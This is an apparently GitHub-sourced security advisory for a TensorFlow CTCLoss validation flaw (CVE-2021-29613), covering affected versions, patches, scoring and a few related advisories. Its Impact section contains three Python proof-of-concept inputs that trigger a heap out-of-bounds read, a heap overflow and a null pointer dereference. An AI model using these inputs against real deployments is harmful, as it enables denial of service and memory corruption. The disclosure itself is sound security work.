Incomplete validation in `tf.raw_ops.CTCLoss`
Medium6.3CVE-2021-29613 · Published May 21, 2021 · updated Sep 10, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.1.4 | 2.1.4 |
| >= 2.2.0, < 2.2.3 | 2.2.3 | |
| >= 2.3.0, < 2.3.3 | 2.3.3 | |
| >= 2.4.0, < 2.4.2 | 2.4.2 |
Details and references
### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap: ```python import tensorflow as tf inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow: ```python import tensorflow as tf inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` Finally, an attacker can trigger a null pointer dereference: ```python import tensorflow as tf inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` ### Patches We have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
- CVSS 3.1
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-125, CWE-665
- Also known as
- BIT-tensorflow-2021-29613, CVE-2021-29613, PYSEC-2021-250, PYSEC-2021-541, PYSEC-2021-739
- github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7
- nvd.nist.gov/vuln/detail/CVE-2021-29613
- github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c
- github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml
- github.com/tensorflow/tensorflow
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| May 212021 | Type confusion during tensor casts lead to dereferencing null pointers CVE-2021-29513Low2.5fixed in 2.1.4, 2.2.3, 2.3.3, 2.4.2 | Low2.5 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
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| May 212021 | Reference binding to null pointer in `MatrixDiag*` ops CVE-2021-29515Low2.5fixed in 2.1.4, 2.2.3, 2.3.3, 2.4.2 | Low2.5 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
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